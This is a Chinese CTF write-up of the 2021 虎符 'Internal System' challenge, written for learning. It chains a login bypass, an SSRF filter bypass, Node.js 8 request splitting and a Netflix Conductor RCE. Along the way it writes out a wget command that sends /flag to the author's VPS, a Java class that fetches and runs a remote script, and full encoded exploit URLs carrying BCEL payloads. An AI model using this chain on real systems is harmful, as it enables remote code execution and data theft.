[虎符CTF 2021]Internal System

前言

这道题当时比赛的时候拿到hint之后就不会做了,当时大致也查到了CVE-2020-9296-Netflix-Conductor-RCE这个洞,主要还是那个内网的ip不知道,此外就算知道了内网的ip,发post包那里我也会被卡住,还是太菜了。

现在复现环境放在了buuctf上面,一些师傅也发了复现的WP,我参考了一下赵总和miaotony师傅的复现文章来学习了一波。拿到hint之前的内容可能会一概而过,因为比较简单,主要的难点还是后面打内网8080端口的Netflix-Conductor设备。

WP

login

访问/source,得到源码:

const express = require('express')
const router = express.Router()

const axios = require('axios')

const isIp = require('is-ip')
const IP = require('ip')

const UrlParse = require('url-parse')

const {sha256, hint} = require('./utils')

const salt = 'nooooooooodejssssssssss8_issssss_beeeeest'

const adminHash = sha256(sha256(salt + 'admin') + sha256(salt + 'admin'))

const port = process.env.PORT || 3000

function formatResopnse(response) {
        if(typeof(response) !== typeof('')) {
                return JSON.stringify(response)
        } else {
                return response
        }
}

function SSRF_WAF(url) {
        const host = new UrlParse(url).hostname.replace(/\[|\]/g, '')

        return isIp(host) && IP.isPublic(host)
}

function FLAG_WAF(url) {
        const pathname = new UrlParse(url).pathname
        return !pathname.startsWith('/flag')
}

function OTHER_WAF(url) {
        return true;
}

const WAF_LISTS = [OTHER_WAF, SSRF_WAF, FLAG_WAF]

router.get('/', (req, res, next) => {
        if(req.session.admin === undefined || req.session.admin === null) {
                res.redirect('/login')
        } else {
                res.redirect('/index')
        }
})

router.get('/login', (req, res, next) => {
        const {username, password} = req.query;

        if(!username || !password || username === password || username.length === password.length || username === 'admin') {
                res.render('login')
        } else {
                const hash = sha256(sha256(salt + username) + sha256(salt + password))

                req.session.admin = hash === adminHash

                res.redirect('/index')
        }
})

router.get('/index', (req, res, next) => {
        if(req.session.admin === undefined || req.session.admin === null) {
                res.redirect('/login')
        } else {
                res.render('index', {admin: req.session.admin})
        }
})

router.get('/proxy', async(req, res, next) => {
        if(!req.session.admin) {
                return res.redirect('/index')
        }
        const url = decodeURI(req.query.url);

        console.log(url)

        const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b)

        if(!status) {
                res.render('base', {title: 'WAF', content: "Here is the waf..."})
        } else {
                try {
                        const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`)
                        res.render('base', response.data)
                } catch(error) {
                        res.render('base', error.message)
                }
        }
})

router.post('/proxy', async(req, res, next) => {
        if(!req.session.admin) {
                return res.redirect('/index')
        }
        // test url
        // not implemented here
        const url = "https://postman-echo.com/post"
        await axios.post(`http://127.0.0.1:${port}/search?url=${url}`)
        res.render('base', "Something needs to be implemented")
})


router.all('/search', async (req, res, next) => {
        if(!/127\.0\.0\.1/.test(req.ip)){
                return res.send({title: 'Error', content: 'You can only use proxy to aceess here!'})
        }

        const result = {title: 'Search Success', content: ''}

        const method = req.method.toLowerCase()
        const url = decodeURI(req.query.url)
        const data = req.body

        try {
                if(method == 'get') {
                        const response = await axios.get(url)
                        result.content = formatResopnse(response.data)
                } else if(method == 'post') {
                        const response = await axios.post(url, data)
                        result.content = formatResopnse(response.data)
                } else {
                        result.title = 'Error'
                        result.content = 'Unsupported Method'
                }
        } catch(error) {
                result.title = 'Error'
                result.content = error.message
        }

        return res.json(result)
})

router.get('/source', (req, res, next)=>{
        res.sendFile( __dirname + "/" + "route.js");
})

router.get('/flag', (req, res, next) => {
        if(!/127\.0\.0\.1/.test(req.ip)){
                return res.send({title: 'Error', content: 'No Flag For You!'})
        }
        return res.json({hint: hint})
})

module.exports = router

大致扫一下源码,可以看出来后面的/search和/flag这些路由都需要127.0.0.1,因此需要ssrf,而/proxy则需要是admin登录成功,因此第一步是先登录。

router.get('/login', (req, res, next) => {
        const {username, password} = req.query;

        if(!username || !password || username === password || username.length === password.length || username === 'admin') {
                res.render('login')
        } else {
                const hash = sha256(sha256(salt + username) + sha256(salt + password))

                req.session.admin = hash === adminHash

                res.redirect('/index')
        }
})

get查询传参,username和password都不为空且不强类似相等且长度相等且username!===admin,就可以进入接下来的判断,经过一段sha256的哈希加密,需要和adminHash的值相等才行,而adminHash是这样来的:const adminHash = sha256(sha256(salt + 'admin') + sha256(salt + 'admin'))
因此第一反应肯定是username和password都是admin,但是这里要求username!=='admin',因此利用拼接上的漏洞,就是数组的拼接:

'admin'+'feng' //'adminfeng'
['admin']+'feng' //'adminfeng'
['admin']!=='admin' //true

因此直接传:

?username[]=admin&password=admin

ssrf拿到hint

以admin登录成功后就可以使用/proxy了,看一下:

router.get('/proxy', async(req, res, next) => {
        if(!req.session.admin) {
                return res.redirect('/index')
        }
        const url = decodeURI(req.query.url);

        console.log(url)

        const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b)

        if(!status) {
                res.render('base', {title: 'WAF', content: "Here is the waf..."})
        } else {
                try {
                        const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`)
                        res.render('base', response.data)
                } catch(error) {
                        res.render('base', error.message)
                }
        }
})

get传参url,经过WAF_LISTS里的三个waf函数处理,都返回true,才能访问url:

http://127.0.0.1:${port}/search?url=${url}

而search其实就是做这个:

if(method == 'get') {
        const response = await axios.get(url)
        result.content = formatResopnse(response.data)

相当于是一个代理访问了。首先是要绕waf,SSRF_WAF就很好绕了,0.0.0.0就可以了。如果单纯的想得到这个hint的话,绕FLAG_WAF非常简单,waf是不能以/flag开头,因为router忽略大小写,所以大小写绕过即可:
在这里插入图片描述

但是这样就只是单纯的拿到hint了,打不了内网。考虑到/proxy有waf,但是/search没有waf,因此直接利用/search来绕waf:
在这里插入图片描述

构造恶意类并且BCEL编码

提示已经告诉我们内网存在一个netflix conductor了,查一下就可以知道端口是8080,可以找到这个文章:
CVE-2020-9296-Netflix-Conductor-RCE-漏洞分析
也是按照这个文章的思路来进行RCE。
关键就是内网的ip是啥。比赛的时候只能猜,好像似乎就是docker的默认地址,类似172.1x.0.x 这样的,但是buu上的环境已经给出来,直接扫一下就行,扫到10.0.252.14:8080的时候扫到了。在这里插入图片描述

在这里插入图片描述
访问/api/admin/config可以查看配置信息:

{
	"jetty.git.hash": "b1e6b55512e008f7fbdf1cbea4ff8a6446d1073b",
	"loadSample": "true",
	"io.netty.noUnsafe": "true",
	"conductor.jetty.server.enabled": "true",
	"io.netty.noKeySetOptimization": "true",
	"buildDate": "2021-04-03_17:38:09",
	"io.netty.recycler.maxCapacityPerThread": "0",
	"conductor.grpc.server.enabled": "false",
	"version": "2.26.0-SNAPSHOT",
	"queues.dynomite.nonQuorum.port": "22122",
	"workflow.elasticsearch.url": "es:9300",
	"workflow.namespace.queue.prefix": "conductor_queues",
	"user.timezone": "GMT",
	"workflow.dynomite.cluster.name": "dyno1",
	"sun.nio.ch.bugLevel": "",
	"workflow.dynomite.cluster.hosts": "dyno1:8102:us-east-1c",
	"workflow.elasticsearch.instanceType": "external",
	"db": "dynomite",
	"queues.dynomite.threads": "10",
	"workflow.namespace.prefix": "conductor",
	"workflow.elasticsearch.index.name": "conductor"
}

看到了"version": "2.26.0-SNAPSHOT",,版本是2.26.0
查一下,这个CVE似乎只到2.25.3:
在这里插入图片描述
但是这题确实还能打。。。问题不大。。打就完事了。。思路参考先知那个文章的思路。

不过这鬼题是不好弹shell,因为bash,nc,curl啥的都没有,而且那个命令执行也很玄学,所以就是先wget我们的VPS,把命令下载到文件里,然后再sh 那个文件,wget带回执行的结果。

在VPS下面写一个1.txt:

#!/bin/sh
wget http://118.31.168.198:39543/?feng=`cat /flag|base64`

然后起python服务器:
在这里插入图片描述

那个Evil.java上这样写:

public class Evil
{
    public Evil() {
        try {
            Runtime.getRuntime().exec("wget http://118.31.168.198:39543/1.txt -O /tmp/feng");
            //Runtime.getRuntime().exec("sh /tmp/feng");
        }
        catch (Exception ex) {
            ex.printStackTrace();
        }
    }

    public static void main(final String[] array) {
    }
}

接下来就是要编译,然后将class文件通过 bcel 编码后作为参数。

javac Evil.java

bcel编码的话可以通过这个工具:
BCELCodeman

具体的使用都说的很清楚了,不过java小白表示不知道jar包哪来的。。。

打jar包

因为我不会java,jar包是什么也是现查的,因此打这个jar包打的很费劲,可能我的方法非常的离谱,感觉我感觉作为一个java小白,至少成功打出来jar包了。。。(笑)

下载的工具中,把src中的Main.java编译成class:

javac Main.java

然后再打jar包:

jar -cvfm BCELCodeman.jar ../META-INF/MANIFEST.MF Main.class

注意要在src目录进行这个操作,如果在前面的目录,或者其他的目录总是会报找不到Main类,查了一下好像是因为类路径的问题。。。不过既然我直接在src目录里打jar包就没问题,就懒得去搞啥类路径了。。。

然后转换为BCEL编码:

java -jar BCELCodeman/src/BCELCodeman.jar e Evil.class

在这里插入图片描述
赵总的博客上还提到了,这里可能会因此java版本还出错,我的版本是这个:
在这里插入图片描述

发送payload

然后按照先知上的文章,就是说要把这个BCEL编码后的class数据放到那个name里:
在这里插入图片描述

不过可以看到,这里是post传参,这样?url=…肯定是没法传post的,这也是一个大问题。
源码里是给了提示的:

const salt = 'nooooooooodejssssssssss8_issssss_beeeeest'

node.js 8 版本。。。原来nodejs8版本的http库有一个请求拆分漏洞,参考文章:
通过拆分攻击实现的SSRF攻击
怎么说呢,感觉就是CRLF注入的一种变形,利用的是Unicode字符。

本地实验参考了一下miaotony师傅,起个node.js8的docker:

docker pull node:8.13.0-alpine
docker run -itd --name node8.13-test node:8.13.0-alpine
docker exec -it node8.13-test /bin/sh
# 进入docker里执行
npm i axios
node

执行以下:

const axios = require('axios') 
var s = 'http://118.31.168.198:39543/?param=x\u{0120}HTTP/1.1\u{010D}\u{010A}Host:{\u0120}127.0.0.1:3000\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/private'
axios.get(s).then((r) => console.log(r.data)).catch(console.error)

在这里插入图片描述

原理知道了就要开始打了,感谢赵总写的脚本,直接改一下就行了:

post_payload = '[\u{017b}\u{0122}name\u{0122}:\u{0122}$\u{017b}\u{0127}1\u{0127}.getClass().forName(\u{0127}com.sun.org.apache.bcel.internal.util.ClassLoader\u{0127}).newInstance().loadClass(\u{0127}$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQMO$oA$Q$7d$3d$m$83$e3$m$f8$B$x$7e$a2$k$40M$98L$40$83$l$f1$b2qO$b8k$c4$e8$c1$L$cd$d8b$x$Mdh$d4$83$ff$c7$b3$X5$7b$f0$H$f8$a3$d4$ea1$91M$dcN$aa$ba$eb$d5$abW$d5$dd$afo$7f_$A$94$b1l$n$8eI$Lid$e2$f8$a1$f7$v$TY$LC$9861cb$96$n$b6$p$7d$a9v$Z$o$85$95c$86$e8$cf$ce$99$60HV$a5$_$7e$f7$db$N$R$i$f1F$8b$90DMq$efj$9fw$c38$ac$ce$S$bd$cd$a5$cf$90$v$9cV$_$f95wZ$dco$3a5$VH$bf$b9$ad$e5$acZ$a7$lx$e2$97$d4$S$c3$7b$d7$b2U$d4$3c$h$c3$b0L$cc$d9$98$c7$CC$a5w$91$cb$df4$85$ca$5d$u$d5$ddr$i$d7$ad$UKn$d1$dd$a8$U$dd$cd$caVis$bd$5cr$ea$kW9$e7$bc$c5$9bw$N$de$T$h$e5z$deF$O$8b$M$T$83$de$7b$b7$9e$e8$w$d9$f1m$y$c1$a2$BuO$86$d4$80$f1$a7q$v$3c$c506$80$O$fb$be$92m$9a$d0$a2$Z$be$82ta$a5$fa$8d$b3M$92$e2Vx$M$f9$c2$7f$ae$fc$Pt$Qt$3c$d1$ebQA$b2KI$V$be$dfQ$c0$3d$81E$98$f4$_z$Z$60$fa$v$c8$8fPT$a7$d8$a0$3d$b3$fa$E$f6$Mc$3c$f2$88$e8$c9$3d$e2$d5$b5G$c4$k$88$VE$C$v$fa$3e$D6$f1$a6$R$p$l$nt$88p$8b2q$8c$91$5e$9a$d4$S$94I$c1x$t$c7L$8cj$97$8cR$$E$8c$cfnY2$a6$ed$n$3ch$c1X$I$Q$Z$e3$e1p$T$l$Cb$acrJ$C$A$A\u{0127}).newInstance().class\u{017d}\u{0122},\u{0122}ownerEmail\u{0122}:\u{0122}test@example.org\u{0122},\u{0122}retryCount\u{0122}:\u{0122}3\u{0122},\u{0122}timeoutSeconds\u{0122}:\u{0122}1200\u{0122},\u{0122}inputKeys\u{0122}:[\u{0122}sourceRequestId\u{0122},\u{0122}qcElementType\u{0122}],\u{0122}outputKeys\u{0122}:[\u{0122}state\u{0122},\u{0122}skipped\u{0122},\u{0122}result\u{0122}],\u{0122}timeoutPolicy\u{0122}:\u{0122}TIME_OUT_WF\u{0122},\u{0122}retryLogic\u{0122}:\u{0122}FIXED\u{0122},\u{0122}retryDelaySeconds\u{0122}:\u{0122}600\u{0122},\u{0122}responseTimeoutSeconds\u{0122}:\u{0122}3600\u{0122},\u{0122}concurrentExecLimit\u{0122}:\u{0122}100\u{0122},\u{0122}rateLimitFrequencyInSeconds\u{0122}:\u{0122}60\u{0122},\u{0122}rateLimitPerFrequency\u{0122}:\u{0122}50\u{0122},\u{0122}isolationgroupId\u{0122}:\u{0122}myIsolationGroupId\u{0122}\u{017d}]'
console.log(encodeURI(encodeURI(encodeURI('http://0.0.0.0:3000/\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}\u{010D}\u{010A}POST\u{0120}/search?url=http://10.0.181.14:8080/api/metadata/taskdefs\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}Content-Type:application/json\u{010D}\u{010A}Content-Length:' + post_payload.length + '\u{010D}\u{010A}\u{010D}\u{010A}' + post_payload + '\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/private'))))

改掉post_payload中间loadClass里面那部分的BCEL数据,用自己生成了,然后下面那里的payload里面的search?url后面改成自己靶机的内网ip就可以了。

开始打,这一步是wget到1.txt里面的命令写到/tmp/feng里面:

http://c3fbefe8-6686-4b9b-9585-5983858c0e31.node3.buuoj.cn/proxy?url=http://0.0.0.0:3000/%2525C4%2525A0HTTP/1.1%2525C4%25258D%2525C4%25258AHost:127.0.0.1:3000%2525C4%25258D%2525C4%25258A%25
25C4%25258D%2525C4%25258APOST%2525C4%2525A0/search?url=http://10.0.71.14:8080/api/metadata/taskdefs%2525C4%2525A0HTTP/1.
1%2525C4%25258D%2525C4%25258AHost:127.0.0.1:3000%2525C4%25258D%2525C4%25258AContent-Type:application/json%2525C4%25258D%
2525C4%25258AContent-Length:1518%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%25255B%2525C5%2525BB%2525C4%252
5A2name%2525C4%2525A2:%2525C4%2525A2$%2525C5%2525BB%2525C4%2525A71%2525C4%2525A7.getClass().forName(%2525C4%2525A7com.su
n.org.apache.bcel.internal.util.ClassLoader%2525C4%2525A7).newInstance().loadClass(%2525C4%2525A7$$BCEL$$$l$8b$I$A$A$A$A
$A$A$AmQMS$gA$Q$7d$b3$m$8b$9b$r$7c$F$M$98D0$87$80Vvk$Lb$a1X$5e$ys$o1$r$96$k$bc$b8l$s8$I$cb$d6$3a$m$ff$c8$b3$X$93$ca$c1$l
$e0$8fR$7b$d6$w$b1$w$99$aa$ee$99$7e$fd$fau$cf$cc$dd$fd$df$5b$AM$7c4$90$c4$h$D$F$U$93XR$fb$5b$j$r$D$L$u$ebX$d6$f1$8e$n$b1
$z$7c$nw$Yb$b5$fa$RC$7cw$fc$933$a4$3b$c2$e7$df$t$a3$k$P$P$dd$de$90$90TW$ba$de$f977$88$e2$a8$baD$f4$91$x$7c$86b$ed$a43p$a
7$ae$3dt$fd$be$dd$95$a1$f0$fbm$rgt$c7$93$d0$e3_$85$92X$dc$9b$8a$a1$a5x$s$Wa$e8xo$e2$DV$Y$g$97$7d$$$xgR$G$5b$b6$ed8$z$ab$
e1X$ceF$cbr6$5b$5b$8d$cd$_$cd$86$edXr$s$x$9f$f7$x$b6$i$F$f6$_$ee$f7MTPe$c8$cf$db$ee$cd$3c$kH1$f6M$ac$c2$a0$d9T$3b$86$cc$
9c$b1$df$hpO2d$e7$d0$c1$c4$97bD$c3$Z4$c2sP$a8$d5$3b$ffp$da$q$c9g$dcc$f8T$fb$cfm_$40$3f$c2$b1$c7$_$$$a8$m$jPRFOw$Y$ba$kG$
V$3a$7d$89Z$g$98z$F$f2$af$u$3a$a5X$a3$bd$b8$f6$h$ec$P$b4$5c$ec$G$f1$e3$x$q$3b$eb7H$5c$T$x$8e$U2$f4s$gL$e2$95$91$m$l$pt$8
1p$832IdI$af$40j$v$cad$a0$3d$90c$3a$5e$x$97$8eS$$C$8c$a7n$r2$a6$ec$3a$3a$u$c1D$E$Q$Z$b9h$b8$fc$p$CL$ff$edE$C$A$A%2525C4%
2525A7).newInstance().class%2525C5%2525BD%2525C4%2525A2,%2525C4%2525A2ownerEmail%2525C4%2525A2:%2525C4%2525A2test@exampl
e.org%2525C4%2525A2,%2525C4%2525A2retryCount%2525C4%2525A2:%2525C4%2525A23%2525C4%2525A2,%2525C4%2525A2timeoutSeconds%25
25C4%2525A2:%2525C4%2525A21200%2525C4%2525A2,%2525C4%2525A2inputKeys%2525C4%2525A2:%25255B%2525C4%2525A2sourceRequestId%
2525C4%2525A2,%2525C4%2525A2qcElementType%2525C4%2525A2%25255D,%2525C4%2525A2outputKeys%2525C4%2525A2:%25255B%2525C4%252
5A2state%2525C4%2525A2,%2525C4%2525A2skipped%2525C4%2525A2,%2525C4%2525A2result%2525C4%2525A2%25255D,%2525C4%2525A2timeo
utPolicy%2525C4%2525A2:%2525C4%2525A2TIME_OUT_WF%2525C4%2525A2,%2525C4%2525A2retryLogic%2525C4%2525A2:%2525C4%2525A2FIXE
D%2525C4%2525A2,%2525C4%2525A2retryDelaySeconds%2525C4%2525A2:%2525C4%2525A2600%2525C4%2525A2,%2525C4%2525A2responseTime
outSeconds%2525C4%2525A2:%2525C4%2525A23600%2525C4%2525A2,%2525C4%2525A2concurrentExecLimit%2525C4%2525A2:%2525C4%2525A2
100%2525C4%2525A2,%2525C4%2525A2rateLimitFrequencyInSeconds%2525C4%2525A2:%2525C4%2525A260%2525C4%2525A2,%2525C4%2525A2r
ateLimitPerFrequency%2525C4%2525A2:%2525C4%2525A250%2525C4%2525A2,%2525C4%2525A2isolationgroupId%2525C4%2525A2:%2525C4%2
525A2myIsolationGroupId%2525C4%2525A2%2525C5%2525BD%25255D%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%2525C
4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258AGET%2525C4%2525A0/private

在这里插入图片描述

然后再把java文件的rce代码改一下:

Runtime.getRuntime().exec("sh /tmp/feng");

然后再重复前面的步骤进行生成。再打:

http://c3fbefe8-6686-4b9b-9585-5983858c0e31.node3.buuoj.cn/proxy?url=http://0.0.0.0:3000/%2525C4%2525A0HTTP/1.1%2525C4%25258D%2525C4%25258AHost:127.0.0.1:3000%2525C4%25258D%2525C4%25258A%25
25C4%25258D%2525C4%25258APOST%2525C4%2525A0/search?url=http://10.0.71.14:8080/api/metadata/taskdefs%2525C4%2525A0HTTP/1.
1%2525C4%25258D%2525C4%25258AHost:127.0.0.1:3000%2525C4%25258D%2525C4%25258AContent-Type:application/json%2525C4%25258D%
2525C4%25258AContent-Length:1443%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%25255B%2525C5%2525BB%2525C4%252
5A2name%2525C4%2525A2:%2525C4%2525A2$%2525C5%2525BB%2525C4%2525A71%2525C4%2525A7.getClass().forName(%2525C4%2525A7com.su
n.org.apache.bcel.internal.util.ClassLoader%2525C4%2525A7).newInstance().loadClass(%2525C4%2525A7$$BCEL$$$l$8b$I$A$A$A$A
$A$A$AmQKO$c2$40$Q$fe$b6$60$5bj$91$97$a0$e0$L$f4$mh$o$Xo$Y$_FO$f8$88$Q$3dx$b1$d4$V$Xi$ne$n$fc$p$cf$5c$d0x$f0$H$f8$a3$d4$
d9$9a$88$89n23$3b$df$7c$f3$cd$3e$de$3f$5e$df$A$ecc$cb$82$89E$LY$e4L$y$a9$b8l$moa$O$F$D$x$GV$Z$f4$D$e1$Ly$c8$Q$vW$ae$Y$a2
G$bd$3b$ce$90$a8$L$9f$9f$N$bd$W$P$9aN$abKH$bc$n$j$f7$f1$d4$e9$87y$d8$9d$t$ba$e7$I$9f$nW$be$a9w$9c$91S$ed$3a$7e$bb$da$90$
81$f0$db5$rg5z$c3$c0$e5$tBI$c4$8eG$a2$bb$a7x6b$b0$M$ac$d9X$c7$G$83$3dx$uV$a5$d7$af$des$bfm$a3$88$SCf$a6w$3cvy_$8a$9eoc$T
$W$NU$3a$M$c9$Z$e3$bc$d5$e1$aedH$cd$a0$cb$a1$_$85GS$ad6$97$3fI$b6$5c$a9$ff$e1$d4H$92$8f$b9$cb$b0$5d$fe$e7$g$bf$a0$8b$a0$
e7$f2$c1$80$g$S$7d$w$ca$f0M$9a$81$e3r$94$60$d0$5b$ab$a5$81$a9$eb$91$9f$a7$ec$96r$8dbn$e7$Z$ec$FZ$3a2E$f4$fa$Jf$7dw$K$7dB
$ac$u$e2H$d2$97h$b0$89W$80N$3eB$a8N$b8E$V$T$v$d2$cb$92Z$9c$wIh$9f$e4$98$81$F$e5$SQ$aa$r$89$f1$3d$zO$c6$94M$c2$8d$S$d4C$8
0$c8H$87$87$cb$7c$B$U$c6$ce$t$k$C$A$A%2525C4%2525A7).newInstance().class%2525C5%2525BD%2525C4%2525A2,%2525C4%2525A2owner
Email%2525C4%2525A2:%2525C4%2525A2test@example.org%2525C4%2525A2,%2525C4%2525A2retryCount%2525C4%2525A2:%2525C4%2525A23%
2525C4%2525A2,%2525C4%2525A2timeoutSeconds%2525C4%2525A2:%2525C4%2525A21200%2525C4%2525A2,%2525C4%2525A2inputKeys%2525C4
%2525A2:%25255B%2525C4%2525A2sourceRequestId%2525C4%2525A2,%2525C4%2525A2qcElementType%2525C4%2525A2%25255D,%2525C4%2525
A2outputKeys%2525C4%2525A2:%25255B%2525C4%2525A2state%2525C4%2525A2,%2525C4%2525A2skipped%2525C4%2525A2,%2525C4%2525A2re
sult%2525C4%2525A2%25255D,%2525C4%2525A2timeoutPolicy%2525C4%2525A2:%2525C4%2525A2TIME_OUT_WF%2525C4%2525A2,%2525C4%2525
A2retryLogic%2525C4%2525A2:%2525C4%2525A2FIXED%2525C4%2525A2,%2525C4%2525A2retryDelaySeconds%2525C4%2525A2:%2525C4%2525A
2600%2525C4%2525A2,%2525C4%2525A2responseTimeoutSeconds%2525C4%2525A2:%2525C4%2525A23600%2525C4%2525A2,%2525C4%2525A2con
currentExecLimit%2525C4%2525A2:%2525C4%2525A2100%2525C4%2525A2,%2525C4%2525A2rateLimitFrequencyInSeconds%2525C4%2525A2:%
2525C4%2525A260%2525C4%2525A2,%2525C4%2525A2rateLimitPerFrequency%2525C4%2525A2:%2525C4%2525A250%2525C4%2525A2,%2525C4%2
525A2isolationgroupId%2525C4%2525A2:%2525C4%2525A2myIsolationGroupId%2525C4%2525A2%2525C5%2525BD%25255D%2525C4%25258D%25
25C4%25258A%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258AGET%2525C4%2525A0/private

成功得到flag。
在这里插入图片描述

学到了学到了。

参考文章

虎符 CTF2021 Web 零解题 Internal System WriteUp
CTF | 2021 虎符CTF Web internal_system 复现

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值